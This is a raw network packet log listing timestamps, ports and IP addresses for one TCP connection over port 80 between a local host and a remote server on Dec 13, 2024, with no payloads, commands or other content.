Dec 13, 2024 01:51:12.508742094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.508780003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.508929968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.509624958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.509686947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.509686947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.509735107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.651798010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.651849031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.652014971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.652014971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.652287960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.652349949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.652482986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.652482986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.652921915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.652985096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.652993917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.653043985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.653820992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.653873920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.653940916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.653989077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.654803991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.654858112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.654943943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.654992104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.655785084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.655838966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.655920982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.655971050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.656747103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.656800985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.656872988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.656923056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.657735109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.657785892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.657896042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.657946110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.658682108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.658734083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.658806086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.658854961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.659652948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.659723997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.659755945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.659806967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.660641909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.660696030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.660759926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.660810947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.661619902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.661673069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.661782980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.661834955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.662579060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.662632942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.662717104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.662766933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.663572073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.663625002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.663662910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.663711071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.664539099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.664593935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.664644957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.664695024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.665523052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.665576935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.665649891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.665699005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.666505098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.666557074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.666625977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.666676998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.667474031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.667527914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.667603016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.667654037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.668450117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.668502092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.668554068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.668601990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.669403076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.669456959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.669528008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.669576883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.670403957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.670454979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.670527935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.670581102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.671370983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.671420097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.671508074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.671561956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.672384024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.672419071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.672439098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.672462940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.673300028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.673356056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.673425913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.673479080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.674297094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.674352884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.674407005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.674457073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.675280094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.675338984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.675417900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.675470114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.676223040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.676275969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.676347971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.676438093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.677284002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.677340031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.677385092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.677433014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.678174019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.678225040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.678292990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.678344011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.679169893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.679225922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.679276943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.679333925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.680883884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.680937052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.681022882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.681077003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.681149960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.681185961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.681204081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.681233883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.682069063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.682126045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.682195902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.682269096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.683052063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.683125019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.683175087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.683233976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.684066057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.684135914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.684211969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.684273005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.685041904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.685113907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.685147047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.685203075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.685972929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.686047077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.686096907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.686163902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.686932087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.687006950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.687050104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.687104940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.687916994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.687978029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.688040972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.688091993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.688894033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.688956976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.689032078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.689091921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.689850092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.689913034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.689982891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.690036058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.690823078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.690879107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.690937042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.690989017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.691831112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.691889048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.691940069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.691993952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.692770958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.692872047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.692920923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.692974091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.693819046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.693872929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.693873882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.693927050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.694746971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.694804907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.694864988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.694916010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.696012020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.696072102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.696100950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.696158886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.696712971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.696768999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.696841955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.696896076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.697804928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.697860956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.697949886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.698004007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.698668003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.698721886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.698733091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.698788881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.699599981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.699662924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.699723959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.699776888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.700634003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.700690031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.700766087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.700819016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.701584101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.701637983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.701719999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.701775074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.702477932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.702533960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.843796968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.843939066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.844043970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.844093084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.844093084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.844093084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.844147921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.844185114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.844198942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.844238997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.845376968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.845431089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.845549107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.845549107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.846134901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.846280098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.846333981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.846333981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.847062111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.847181082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.847239017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.848078966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.848175049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.848237038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.849030972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.849155903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.849211931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.849998951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.850053072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.850130081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.850974083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.851036072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.851073027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.851924896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.851983070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.852051020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.852117062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.852910042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.853027105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.853077888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.853893995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.854001999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.854060888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.854866028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.854924917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.854988098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.855076075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.855844975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.855971098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.856034994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.856822014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.856914043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.856966972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.857790947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.857902050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.857912064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.858769894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.858828068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.858891010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.859097004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.859713078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.859863043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.859920025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.860707045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.860826969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.860881090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.861664057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.861716986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.861815929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.862674952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.862739086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.862808943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.863087893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.863646030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.863769054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.863818884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.864622116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.864732981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.864787102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.865592957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.865647078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.865848064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.866583109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.866620064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.866641045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.866669893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.867533922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.867682934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.867734909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.868513107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.868647099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.868704081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.869504929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.869571924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.869637012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.870472908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.870528936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.870587111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.871134043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.871448040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.871598959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.871649981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.872400045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.872509956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.872565985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.873353004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.873502016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.873559952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.874361992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.874414921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.874486923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.875081062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.875330925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.875412941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.875459909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.875552893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.876292944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.876352072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.876420975 CET	80	49765	31.41.244.11	192.168.2.4
